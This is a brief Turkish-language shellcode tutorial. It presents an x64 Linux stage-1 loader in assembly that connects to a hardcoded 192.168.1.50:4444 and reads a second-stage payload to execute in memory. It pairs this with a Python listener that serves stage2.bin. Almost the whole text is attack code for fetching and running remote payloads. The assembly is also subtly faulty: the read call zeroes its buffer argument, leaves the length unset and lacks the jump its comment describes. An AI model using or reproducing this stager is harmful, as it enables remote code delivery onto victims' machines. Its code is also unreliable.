Modern Shellcode - Linux x64 - Staged
Staged shellcode, dar buffer'lara sigacak kadar kucuk stage-1 ile baslar. Loader; baglanti kurar, payload alir, bellekte calistirir.
Stage-1 Minimal TCP Loader
; socket + connect + read + jmp
xor edi, edi
mul edi
inc edi ; SOCK_STREAM=1
push 2
pop rsi ; AF_INET=2
mov al, 41 ; socket
syscall
push rax
pop r9
; connect hardcoded 192.168.1.50:4444
mov dword [rsp-4], 0x3201a8c0
mov word [rsp-6], 0x5c11
mov word [rsp-8], 2
sub rsp, 8
mov rsi, rsp
push 16
pop rdx
mov rdi, r9
mov al, 42 ; connect
syscall
; read(sockfd, rsp, 4096) -> stage2
mov rdi, r9
xor esi, esi
mov al, 0
syscall
Stage-2 Python Sunucu
import socket
with open("stage2.bin","rb") as f:
s2 = f.read()
srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 4444))
srv.listen(1)
conn, a = srv.accept()
conn.send(s2)